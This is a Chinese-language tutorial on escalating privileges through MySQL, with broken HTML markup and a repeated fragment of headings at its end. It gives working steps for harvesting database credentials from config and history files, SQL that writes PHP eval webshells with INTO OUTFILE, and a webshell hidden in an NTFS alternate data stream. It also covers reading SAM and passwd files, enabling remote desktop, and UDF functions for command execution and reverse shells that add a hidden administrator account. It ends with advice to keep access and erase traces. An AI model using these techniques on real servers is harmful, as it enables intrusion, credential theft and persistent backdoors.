MySQL提权基础教学文档<\/h1>

1. MySQL提权概述<\/h2>
MySQL是一种中、小型关系型数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。MySQL采用GPL(GNU通用公共许可证)，分为免费版和商业版。<\/p>

1.1 MySQL提权必备条件<\/h3>

服务器安装MySQL数据库<\/strong>：利用MySQL提权的前提是服务器安装了MySQL数据库<\/li>
MySQL服务未降权<\/strong>：MySQL数据库默认安装以系统权限继承<\/li>

获取MySQL root账号密码<\/strong>：需要获取具有足够权限的账号凭证<\/li> <\/ol>
1.2 判断MySQL服务运行权限<\/h3>

查看系统账号<\/strong>：使用net user<\/code>命令查看系统当前账号，如果出现mysql用户可能意味着降权<\/li>
查看mysqld运行的Priority值<\/strong>：系统权限的Priority值为"8"，如果mysqld的Priority值也为8则意味着以System权限运行<\/li>
查看端口外联情况<\/strong>：扫描3306端口判断是否提供对外连接<\/li> <\/ol> 2. MySQL密码获取与破解<\/h2> 2.1 获取网站数据库账号和密码<\/h3> 查找CMS配置文件<\/strong>：<\/p> DedeCMS：data\/common.inc.php<\/li> Discuz：config\/config_global_default.php、config\/config_ucenter.php、config.inc.php<\/li> 一般位于config、application、conn、db等目录<\/li> Java应用可能在\/WEB-INF\/config\/config.properties中<\/li> <\/ul> <\/li> Linux系统获取方法<\/strong>：<\/p> 查看.\/root\/.mysql_history、.\/root\/.bash_history文件<\/li> MySQL 5.6以下版本，binary log中可能包含明文密码（使用mysqlbinlog binlog.000001<\/code>查看）<\/li> <\/ul> <\/li> <\/ol> 2.2 获取MySQL数据库user表<\/h3> MySQL用户密码保存在：<\/p> Windows：C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL<\/code>目录下的user.frm、user.MYD和user.MYI文件<\/li> 可将这些文件下载到本地读取<\/li> <\/ul> 2.3 MySQL密码查询<\/h3> select<\/span> user<\/span>,password from<\/span> mysql.user<\/span>; <\/span><\/span>select<\/span> user<\/span>,password from<\/span> mysql.user<\/span> where<\/span> user<\/span> =<\/span>'root'<\/span>; <\/span><\/span><\/code><\/pre>2.4 MySQL密码加密算法<\/h3> MySQL使用两次SHA1夹杂一次unhex的方式加密密码： password_str = concat('*', sha1(unhex(sha1(password))))<\/code><\/p> 验证查询：<\/p> select<\/span> password('mypassword'<\/span>),concat('*'<\/span>,sha1(unhex(sha1('mypassword'<\/span>)))); <\/span><\/span><\/code><\/pre>3. MySQL获取Webshell<\/h2> 3.1 必备条件<\/h3> 知道站点物理路径<\/li> 有足够权限（最好是root账号）<\/li> magic_quotes_gpc()=OFF<\/li> <\/ol> 3.2 导出Webshell方法<\/h3> 直接导出<\/strong>：<\/li> <\/ol> Select<\/span> '<?php eval($_POST[cmd])?>'<\/span> into<\/span> outfile '物理路径'<\/span>; <\/span><\/span>and<\/span> 1<\/span>=<\/span>2<\/span> union<\/span> all<\/span> select<\/span> 一句话<\/span>HEX值<\/span> into<\/span> outfile '路径'<\/span>; <\/span><\/span><\/code><\/pre> 通过创建表导出<\/strong>：<\/li> <\/ol> CREATE<\/span> TABLE<\/span> `<\/span>mysql`<\/span>.`<\/span>darkmoon`<\/span> (`<\/span>darkmoon1`<\/span> TEXT NOT<\/span> NULL<\/span>); <\/span><\/span>INSERT<\/span> INTO<\/span> `<\/span>mysql`<\/span>.`<\/span>darkmoon`<\/span> (`<\/span>darkmoon1`<\/span>) VALUES<\/span> ('<?php @eval($_POST[pass]);?>'<\/span>); <\/span><\/span>SELECT<\/span> `<\/span>darkmoon1`<\/span> FROM<\/span> `<\/span>darkmoon`<\/span> INTO<\/span> OUTFILE 'd:\/www\/exehack.php'<\/span>; <\/span><\/span>DROP<\/span> TABLE<\/span> IF<\/span> EXISTS<\/span> `<\/span>darkmoon`<\/span>; <\/span><\/span><\/code><\/pre> Windows下使用SQLTOOLs工具<\/strong>：<\/li> <\/ol> echo ^<?php @eval(request[xxx]c:\web\www\shell.php <\/code><\/pre> 4. MySQL渗透有用函数与技巧<\/h2> 4.1 有用函数<\/h3> 系统信息函数：<\/p> DATABASE()<\/li> USER()<\/li> SYSTEM_USER()<\/li> SESSION_USER()<\/li> CURRENT_USER()<\/li> <\/ul> <\/li> 文件读取函数：<\/p> load_file() - 读取文件内容并返回字符串<\/li> <\/ul> <\/li> <\/ol> 4.2 常见系统配置文件路径<\/h3> Windows系统：<\/h4> c:\/boot.ini c:\/windows\/php.ini c:\/windows\/my.ini c:\mysql\data\mysql\user.MYD c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini c:\windows\system32\inetsrv\MetaBase.xml c:\windows\repair\sam <\/code><\/pre> Linux\/Unix系统：<\/h4> \/etc\/passwd \/etc\/issues \/etc\/my.cnf \/etc\/httpd\/conf\/httpd.conf \/usr\/local\/apache2\/conf\/httpd.conf \/usr\/local\/resin-3.0.22\/conf\/resin.conf <\/code><\/pre> 4.3 文件读取示例<\/h3> SELECT<\/span> LOAD_FILE('\/etc\/passwd'<\/span>); <\/span><\/span>SELECT<\/span> LOAD_FILE('\/usr\/local\/apache\/conf\/httpd.conf'<\/span>); <\/span><\/span><\/code><\/pre>4.4 NTFS ADS技巧<\/h3> MySQL创建目录<\/strong>：<\/li> <\/ol> select<\/span> 'xxx'<\/span> into<\/span> outfile 'D:\mysql\lib::$INDEX_ALLOCATION'<\/span>; <\/span><\/span><\/code><\/pre> 隐藏Webshell<\/strong>：<\/li> <\/ol> echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg <\/code><\/pre> 4.5 实用命令<\/h3> 3389相关<\/strong>：<\/li> <\/ol> netstat -an |find "3389" tasklist \/svc | find "TermService" wmic \/namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (CLASS != "") call setallowtsconnections 1 <\/code><\/pre> MySQL常用命令<\/strong>：<\/li> <\/ol> show<\/span> databases; <\/span><\/span>use database_name; <\/span><\/span>show<\/span> tables; <\/span><\/span>select<\/span> @@<\/span>datadir; <\/span><\/span>select<\/span> @@<\/span>basedir; <\/span><\/span>show<\/span> variables like<\/span> '%plugins%'<\/span>; <\/span><\/span><\/code><\/pre> 系统信息查询<\/strong>：<\/li> <\/ol> select<\/span> system_user<\/span>(); <\/span><\/span>select<\/span> current_user<\/span>(); <\/span><\/span>select<\/span> version<\/span>(); <\/span><\/span>select<\/span> database<\/span>(); <\/span><\/span>select<\/span> @@<\/span>version_compile_os; <\/span><\/span><\/code><\/pre>4.6 UDF提权常用函数<\/h3> cmdshell - 执行cmd命令<\/li> downloader - 下载文件<\/li> open3389 - 开启3389终端服务<\/li> backshell - 反弹Shell<\/li> ProcessView - 枚举系统进程<\/li> KillProcess - 终止进程<\/li> regread - 读注册表<\/li> regwrite - 写注册表<\/li> shut - 关机\/注销\/重启<\/li> <\/ul> 使用示例<\/strong>：<\/p> select<\/span> cmdshell('net user iis_user 123!@#abcABC \/add'<\/span>); <\/span><\/span>select<\/span> cmdshell('net localgroup administrators iis_user \/add'<\/span>); <\/span><\/span>select<\/span> cmdshell('regedit \/s d:web3389.reg'<\/span>); <\/span><\/span><\/code><\/pre>5. 总结<\/h2> MySQL提权是一个系统性的过程，需要掌握：<\/p> MySQL服务权限判断方法<\/li> 密码获取与破解技术<\/li> Webshell获取技巧<\/li> 系统信息收集与利用<\/li> UDF提权等高级技术<\/li> <\/ol> 在实际渗透测试中，需要根据目标环境灵活组合使用这些技术，同时注意权限维持和痕迹清理。<\/p>

MySQL提权基础教学文档<\/h1>

1. MySQL提权概述<\/h2> MySQL是一种中、小型关系型数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。MySQL采用GPL(GNU通用公共许可证)，分为免费版和商业版。<\/p>

2. MySQL密码获取与破解<\/h2>

3. MySQL获取Webshell<\/h2>

4. MySQL渗透有用函数与技巧<\/h2>

4.2 常见系统配置文件路径<\/h3>

1. MySQL提权概述<\/h2>
MySQL是一种中、小型关系型数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。MySQL采用GPL(GNU通用公共许可证)，分为免费版和商业版。<\/p>